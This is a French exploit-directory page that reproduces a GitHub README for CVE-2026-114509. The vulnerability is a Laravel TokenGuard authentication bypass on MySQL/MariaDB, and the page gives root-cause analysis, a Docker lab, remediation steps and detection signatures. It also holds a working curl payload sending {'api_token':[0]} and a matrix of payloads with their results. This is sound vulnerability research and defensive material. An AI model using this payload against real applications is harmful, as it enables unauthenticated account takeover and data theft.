Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-114509-laravel-tokenguard — Preuve de concept, analyse de la cause racine et environnement Docker pour CVE-2026-114509, un contournement d'authentification Laravel TokenGuard non authentifié sur MySQL/MariaDB menant à une prise de contrôle de compte. | Kitploit
Outils/GitHubGitHub/arioveisa/cve-2026-114509-laravel-tokenguard
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebAuthentificationLabs et Pratique
GitHubarioveisa/cve-2026-114509-laravel-tokenguard

cve-2026-114509-laravel-tokenguard

Preuve de concept, analyse de la cause racine et environnement Docker pour CVE-2026-114509, un contournement d'authentification Laravel TokenGuard non authentifié sur MySQL/MariaDB menant à une prise de contrôle de compte.

Voir le dépôt
il y a 28 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    383
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    328
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    288

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-114509 — Contournement d'authentification de Laravel TokenGuard

Preuve de concept, analyse et laboratoire reproductible pour CVE-2026-114509, un contournement d'authentification non authentifié dans le TokenGuard de Laravel qui conduit à une prise de contrôle de compte lorsque l'application s'exécute sur MySQL ou MariaDB.

ChampValeur
ID CVECVE-2026-114509
AvisGHSA-f9x3-7vq9-cph6
CVSS v4.09.2 (Critique) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H
CWECWE-1287 (Validation incorrecte du type d'entrée spécifié), CWE-287 (Authentification incorrecte)
Affectélaravel/framework < 12.68.0, >= 13.0.0, < 13.29.0
Corrigé dans12.68.0, 13.29.0
VecteurCorps JSON POST/GET avec api_token sous forme de tableau d'entiers
ImpactContournement d'authentification, prise de contrôle de compte, divulgation d'identifiants

TL;DR

Un TokenGuard configuré avec driver => token et hash => false accepte un identifiant non-chaîne. L'envoi de {"api_token":[0]} sous forme de corps JSON amène Laravel à construire whereIn('api_token', [0]). MySQL convertit alors implicitement la colonne varchar en entier, de sorte que chaque jeton qui ne commence pas par un chiffre s'évalue à 0 et correspond. La première ligne de la table users est renvoyée à un attaquant non authentifié.

curl -s -X GET http://target/api/user \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}

Cause racine

Trois couches indépendantes doivent toutes être présentes pour permettre l'exploitation.

Couche 1 — Le garde ne valide pas le type d'identifiant

src/Illuminate/Auth/TokenGuard.php (v11.43.0, build vulnérable) :

$token = $this->getTokenForRequest();

if (! empty($token)) {
    $user = $this->provider->retrieveByCredentials([
        $this->storageKey => $this->hash ? hash('sha256', $token) : $token,
    ]);
}

Seul empty() est vérifié. empty([0]) est false car le tableau ne contient qu'un seul élément, donc le tableau est transmis directement au fournisseur. Il n'y a pas de garde is_string().

Couche 2 — Le fournisseur développe les tableaux en une clause IN

src/Illuminate/Auth/EloquentUserProvider.php :

foreach ($credentials as $key => $value) {
    if (is_array($value) || $value instanceof Arrayable) {
        $query->whereIn($key, $value);
    } elseif ($value instanceof Closure) {
        $value($query);
    } else {
        $query->where($key, $value);
    }
}

Un tableau est interprété comme une liste de valeurs candidates, la requête devient donc :

select * from `users` where `api_token` in (0)

Couche 3 — MySQL et MariaDB contraignent la comparaison

api_token est une colonne varchar. Comparer une colonne de chaîne à un entier force une conversion implicite de la valeur de la colonne en nombre :

select cast('admin_secret_token_12345' as unsigned);  -- 0
select cast('abc' as unsigned);                        -- 0
select cast('1abc' as unsigned);                       -- 1

Tout token commençant par une lettre est converti en 0, donc where api_token in (0) correspond. PostgreSQL et SQLite rejettent ou se comportent mal sur cette comparaison, ce qui explique pourquoi la vulnérabilité est spécifique aux bases de données de la famille MySQL.


Matrice d'exploitation

Mesurée sur le lab de ce dépôt (Laravel 11.43.0, MySQL 8.0.46).

Charge utileTransportHTTPRésultat
(aucune)—401rejeté
Bearer wrong_tokenen-tête401rejeté
?api_token=wrongchaîne de requête401rejeté
?api_token[]=0chaîne de requête401rejeté — toujours une chaîne
{"api_token":0}corps JSON401rejeté — empty(0) est vrai
{"api_token":["0"]}corps JSON401rejeté — chaîne vs varchar
{"api_token":[1]}corps JSON401aucune ligne avec la valeur convertie 1
{"api_token":[0.5]}corps JSON401incompatibilité de conversion en float
{"api_token":[0]}corps JSON200contournement
{"api_token":[0,1]}corps JSON200contournement

La charge utile doit arriver sous forme de véritable tableau typé. Les chaînes de requête et l'encodage de formulaire produisent toujours des chaînes, ce qui explique pourquoi le corps JSON est requis.


Reproduction

Un lab Docker complet est inclus. Voir docs/reproduction.md pour la procédure complète, ou exécutez-le directement :

docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed

Ajoutez le nom d'hôte du lab à /etc/hosts :

echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts

Puis vérifiez :

./poc.sh http://angkasagroup.co.id

Impact

  • Accès non authentifié à toutes les routes protégées par auth:api
  • L'objet utilisateur correspondant est renvoyé dans son intégralité, y compris le api_token en clair lorsque hash => false, ce qui rend la compromission persistante
  • Sur les applications où la première ligne de users est un administrateur, le contournement accorde des privilèges administratifs
  • Chaîné avec n'importe quel endpoint réservé aux administrateurs, le résultat est une extraction complète des données

Remédiation

Mise à niveau

composer require laravel/framework:^12.68

Le correctif est une simple vérification de type :

if (is_string($token) && ! empty($token)) {

Mesures d'atténuation temporaires

  1. Définir 'hash' => true sur le garde de l'API. Le stockage haché transforme le tableau en un TypeError au lieu d'une correspondance.
  2. Remplacer TokenGuard par Laravel Sanctum ou Passport, qui résolvent les jetons via un index de hachage dédié plutôt qu'un whereIn non contraint.
  3. Ajouter un middleware qui rejette toute requête où api_token n'est pas une chaîne :
if (! is_string(request()->input('api_token'))) {
    abort(401);
}
  1. Restreindre l'accès à la base de données afin que les requêtes d'authentification ne puissent pas atteindre une instance MySQL avec une coercition de type permissive.

Détection

Les journaux de l'application montreront une authentification réussie sans connexion préalable. Recherchez des corps de requête JSON où api_token est un tableau plutôt qu'une chaîne :

"api_token":[0]
"api_token":[1]

Au niveau de la couche base de données, activez le journal général des requêtes et configurez des alertes sur :

where `api_token` in (0)

Organisation du dépôt

.
├── README.md              this document
├── docs/
│   ├── CVE-2026-114509.pdf    rendered analysis (this README)
│   └── reproduction.md        step-by-step lab walkthrough
├── docker-compose.yml     nginx + php-fpm + mysql lab
├── docker/
│   ├── Dockerfile
│   ├── nginx.conf
│   └── php.ini
├── src/                   Laravel 11.43.0 application
└── poc.sh                 verification script

Avertissement

Ce dépôt existe à des fins de recherche défensive, de vérification de correctifs et de tests de sécurité autorisés. Ne l'exécutez que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques constitue une infraction pénale dans la plupart des juridictions.

Le laboratoire se lie à 127.0.0.1 et est destiné à un usage local uniquement.

Télécharger l’outil